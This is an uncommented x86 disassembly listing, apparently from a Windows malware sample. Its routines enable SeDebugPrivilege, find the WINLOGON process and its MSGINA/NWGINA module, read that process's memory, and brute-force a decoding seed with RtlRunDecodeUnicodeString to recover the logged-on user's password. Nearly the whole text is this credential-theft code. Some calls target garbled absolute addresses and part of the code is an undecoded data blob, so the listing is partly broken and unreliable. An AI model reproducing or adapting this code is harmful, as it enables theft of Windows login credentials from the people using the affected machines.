		add	esp, 10h
		pop	ebx
		jmp	short loc_416EE9
; ---------------------------------------------------------------------------


loc_416EB7:				; CODE XREF: sub_416DD9+2Cj
					; sub_416DD9+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_416EE9:				; CODE XREF: sub_416DD9+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416DD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EFD	proc near		; CODE XREF: sub_416FCF+17p
					; sub_416FCF+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F70
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_438404
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_416FA4
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416EFD+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383C8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 20h


loc_416FA4:				; CODE XREF: sub_416EFD+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415D38
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FCF	proc near		; CODE XREF: sub_401ACD+252Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416FF0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h
		jmp	short loc_417051
; ---------------------------------------------------------------------------


loc_416FF0:				; CODE XREF: sub_416FCF+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB94C
		lea	esi, [eax+2]
		push	esi
		call	sub_41BEB5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB94C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417048


loc_417014:				; CODE XREF: sub_416FCF+77j
		push	offset off_438440
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417037
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h


loc_417037:				; CODE XREF: sub_416FCF+54j
		push	esi
		call	sub_41B9C0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_417014


loc_417048:				; CODE XREF: sub_416FCF+43j
		push	edi
		call	sub_41BA91
		pop	ecx
		pop	edi
		pop	esi


loc_417051:				; CODE XREF: sub_416FCF+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416FCF	endp

; ---------------------------------------------------------------------------
dword_417054	dd 81EC8B55h, 49CECh, 8458B00h,	0B9575653h, 0A7h, 0BD8DF08Bh
					; DATA XREF: sub_401ACD+67C1o
		dd 0FFFFFD64h, 80C7A5F3h, 298h,	1, 0FEEC858Dh, 0E850FFFFh
		dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h
		dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh
		dd 50FFFFFDh, 43846468h, 64858D00h, 68FFFFFBh, 200h, 529AE850h
		dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh
		dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh,	83FFFF27h
		dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h
		dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh,	0C4830000h
		dd 858D5018h, 0FFFFFB64h, 43844468h, 3FE85000h,	83000051h
		dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h
		dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h
		dd 0E8905359h, 22F8E94h, 555B5E5Fh, 0EC81EC8Bh,	54Ch, 0BE575653h
		dd 104h, 8D1875FFh, 0FFFDB885h,	84A868FFh, 50560043h, 51CBE8h
		dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh,	0B8858D50h
		dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC8BBh, 0F6717400h
		dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h
		dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh,	0FFFEE885h
		dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h,	0FF000051h
		dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h
		dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh
		dd 0E890FC75h, 2398DD8h, 8F75C085h, 90FC75FFh, 1D8DCBE8h
		dd 1475FF02h, 0FDB8858Dh, 75FFFFFFh, 50565318h,	5117E8h
		dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh
		dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h
		dd 0FFFFFFFAh, 8C681875h, 68004384h, 200h, 50DAE850h, 16A0000h
		dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h
		dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 398D53E8h,	0C0859002h
		dd 0E856B175h, 21D8D48h, 1C458B90h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172C1	proc near		; DATA XREF: sub_401ACD+1C72o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41AE41
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417300
		cmp	eax, 2
		jz	short loc_417300
		push	offset unk_438680
		jmp	loc_41743F
; ---------------------------------------------------------------------------


loc_417300:				; CODE XREF: sub_4172C1+2Ej
					; sub_4172C1+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41743A
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 26C0BF1h
		nop
		mov	esi, dword_4270C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D484C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4840, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4A50, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4848, eax
		call	esi
		mov	dword_4D4844, eax
		call	sub_417493
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41740D
		mov	esi, dword_427148
		mov	edi, 400h
		mov	ebx, offset dword_4D3840
		push	edi
		push	ebx
		push	offset off_4385BC
		call	esi
		push	edi
		mov	edi, offset dword_4D4040
		push	edi
		push	offset off_4385A4
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4A58
		push	[ebp+arg_0]
		jnz	short loc_4173B9
		call	sub_41761C
		jmp	short loc_4173BE
; ---------------------------------------------------------------------------


loc_4173B9:				; CODE XREF: sub_4172C1+EFj
		call	sub_4177C3


loc_4173BE:				; CODE XREF: sub_4172C1+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417406
		cmp	dword_4D4A58, 0
		jnz	short loc_4173ED
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438548
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		jmp	short loc_417420
; ---------------------------------------------------------------------------


loc_4173ED:				; CODE XREF: sub_4172C1+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173FD
		call	sub_4178F9
		jmp	short loc_417402
; ---------------------------------------------------------------------------


loc_4173FD:				; CODE XREF: sub_4172C1+133j
		call	sub_417990


loc_417402:				; CODE XREF: sub_4172C1+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_417406:				; CODE XREF: sub_4172C1+101j
		push	offset unk_438510
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_41740D:				; CODE XREF: sub_4172C1+B6j
		push	offset unk_4384E4


loc_417412:				; CODE XREF: sub_4172C1+143j
					; sub_4172C1+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_417420:				; CODE XREF: sub_4172C1+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 27F08EBh
		nop
		pop	ebx
		jmp	short loc_41744D
; ---------------------------------------------------------------------------


loc_41743A:				; CODE XREF: sub_4172C1+4Ej
		push	offset unk_4384B0


loc_41743F:				; CODE XREF: sub_4172C1+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41744D:				; CODE XREF: sub_4172C1+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417474
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409869
		add	esp, 14h


loc_417474:				; CODE XREF: sub_4172C1+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 2710000h
		nop
		pop	edi
		pop	esi
sub_4172C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417493	proc near		; CODE XREF: sub_4172C1+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427154
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D484C
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2810000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D484C
		test	eax, eax
		jnz	short loc_417580
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417580
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417580


loc_41751C:				; CODE XREF: sub_417493+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417573
		push	0
		push	0
		call	dword_4D4840
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4A50
		test	eax, eax
		jnz	short loc_417564
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417598


loc_417564:				; CODE XREF: sub_417493+AAj
		test	edi, edi
		jz	short loc_41756F
		push	edi
		call	dword_4D4848


loc_41756F:				; CODE XREF: sub_417493+D3j
		mov	eax, [esp+28h+var_10]


loc_417573:				; CODE XREF: sub_417493+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_41751C


loc_417580:				; CODE XREF: sub_417493+6Dj
					; sub_417493+7Aj ...
		xor	edi, edi


loc_417582:				; CODE XREF: sub_417493+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 2810000h
		nop
		mov	eax, edi


loc_417590:				; CODE XREF: sub_417493+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417598:				; CODE XREF: sub_417493+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417601
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_4175AE:				; CODE XREF: sub_417493+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417615
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175F3
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4175F3:				; CODE XREF: sub_417493+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_4175AE


loc_417601:				; CODE XREF: sub_417493+10Fj
		test	edi, edi
		jz	short loc_41760C
		push	edi
		call	dword_4D4848


loc_41760C:				; CODE XREF: sub_417493+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417582
; ---------------------------------------------------------------------------


loc_417615:				; CODE XREF: sub_417493+13Cj
		xor	eax, eax
		jmp	loc_417590
sub_417493	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_4172C1+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 26A07A5h
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417645
		xor	eax, eax
		jmp	loc_4177C0
; ---------------------------------------------------------------------------


loc_417645:				; CODE XREF: sub_41761C+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	near ptr 2830000h
		nop
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427154
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_42715C
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_417695
		xor	esi, esi
		jmp	loc_4177B3
; ---------------------------------------------------------------------------


loc_417695:				; CODE XREF: sub_41761C+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 2820AB2h
		test	eax, eax
		jz	loc_4177A2
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4177A2
		test	[ebp+var_2B], 1
		jnz	loc_4177A2
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4177A2


loc_4176F8:				; CODE XREF: sub_41761C+112j
		push	edi
		push	offset dword_4D3840
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417720
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D4040
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417730


loc_417720:				; CODE XREF: sub_41761C+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4177A2
		jmp	short loc_4176F8
; ---------------------------------------------------------------------------


loc_417730:				; CODE XREF: sub_41761C+102j
		test	edi, edi
		jz	short loc_4177A2
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 27A06C8h
		test	eax, eax
		jz	short loc_41776B
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 27A0000h
		test	eax, eax
		jz	short loc_41776B
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_41776B:				; CODE XREF: sub_41761C+12Bj
					; sub_41761C+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4A64, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D4A5C, eax
		mov	dword_4D4A60, edi


loc_4177A2:				; CODE XREF: sub_41761C+90j
					; sub_41761C+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2810000h
		mov	esi, [ebp+var_10]


loc_4177B3:				; CODE XREF: sub_41761C+74j
		push	[ebp+var_4]
		nop
		call	near ptr 2680000h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_4177C0:				; CODE XREF: sub_41761C+24j
		pop	esi
		leave
		retn
sub_41761C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177C3	proc near		; CODE XREF: sub_4172C1:loc_4173B9p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 26A07A5h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4178B5
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 2830000h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_4178AC
		mov	edi, dword_427154


loc_41780E:				; CODE XREF: sub_4177C3+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 2820AB2h
		nop
		test	eax, eax
		jz	short loc_41789A
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4178A0
		test	[ebp+var_13], 1
		jnz	short loc_4178A0
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 2820000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 2820DAFh
		nop
		test	eax, eax
		jz	short loc_41788C
		push	offset dword_4D3840
		push	esi
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41788C
		lea	eax, [esi+400h]
		push	offset dword_4D4040
		push	eax
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178BC


loc_41788C:				; CODE XREF: sub_4177C3+9Fj
					; sub_4177C3+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 2810000h
		nop
		jmp	short loc_4178A0
; ---------------------------------------------------------------------------


loc_41789A:				; CODE XREF: sub_4177C3+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4178A0:				; CODE XREF: sub_4177C3+71j
					; sub_4177C3+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_41780E


loc_4178AC:				; CODE XREF: sub_4177C3+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2680000h


loc_4178B5:				; CODE XREF: sub_4177C3+1Ej
		xor	eax, eax


loc_4178B7:				; CODE XREF: sub_4177C3+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4178BC:				; CODE XREF: sub_4177C3+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D4A5C, ebx
		mov	dword_4D4A60, eax
		cmp	[eax], cl
		jnz	short loc_4178DE
		cmp	[eax+1], cl
		jz	short loc_4178E6


loc_4178DE:				; CODE XREF: sub_4177C3+114j
					; sub_4177C3+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4178DE


loc_4178E6:				; CODE XREF: sub_4177C3+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2680000h
		push	1
		pop	eax
		jmp	short loc_4178B7
sub_4177C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178F9	proc near		; CODE XREF: sub_4172C1+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4A58
		push	esi
		mov	esi, dword_427154
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		call	near ptr 2820000h
		nop
		mov	ecx, dword_4D4A58
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4A60
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4A64
		push	eax
		call	dword_4D4844
		push	[ebp+var_4]
		mov	edi, offset dword_4D4850
		push	offset dword_4D3840
		push	offset dword_4D4040
		push	[ebp+arg_0]
		push	offset dword_4386CC
		push	200h
		push	edi
		call	sub_41C360
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 2810000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417990	proc near		; CODE XREF: sub_4172C1:loc_4173FDp

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4A58
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 2820A3Ah
		push	eax
		nop
		call	near ptr 2820000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D4040
		mov	edi, 200h
		mov	esi, offset dword_4D3640


loc_4179D6:				; CODE XREF: sub_417990+FAj
		mov	eax, dword_4D4A58
		add	eax, eax
		push	eax
		push	dword_4D4A60
		push	[ebp+var_14]
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4844
		mov	eax, dword_4D4A58
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417A4B


loc_417A13:				; CODE XREF: sub_417990+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A68
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417A37
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417A37
		cmp	dl, 20h
		jnb	short loc_417A31
		and	[ebp+var_8], 0


loc_417A31:				; CODE XREF: sub_417990+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417A3B


loc_417A37:				; CODE XREF: sub_417990+90j
					; sub_417990+96j
		and	[ebp+var_8], 0


loc_417A3B:				; CODE XREF: sub_417990+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417A13
		cmp	[ebp+var_8], 0
		jz	short loc_417A68


loc_417A4B:				; CODE XREF: sub_417990+81j
		push	[ebp+var_14]
		push	offset dword_4D3840
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_4386CC
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 1Ch
		jmp	short loc_417A80
; ---------------------------------------------------------------------------


loc_417A68:				; CODE XREF: sub_417990+87j
					; sub_417990+B9j
		push	offset dword_4D3840
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43871C
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 18h


loc_417A80:				; CODE XREF: sub_417990+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4179D6
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 2820A3Ah
		push	eax
		call	near ptr 2810000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA9	proc near		; CODE XREF: sub_417C61+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
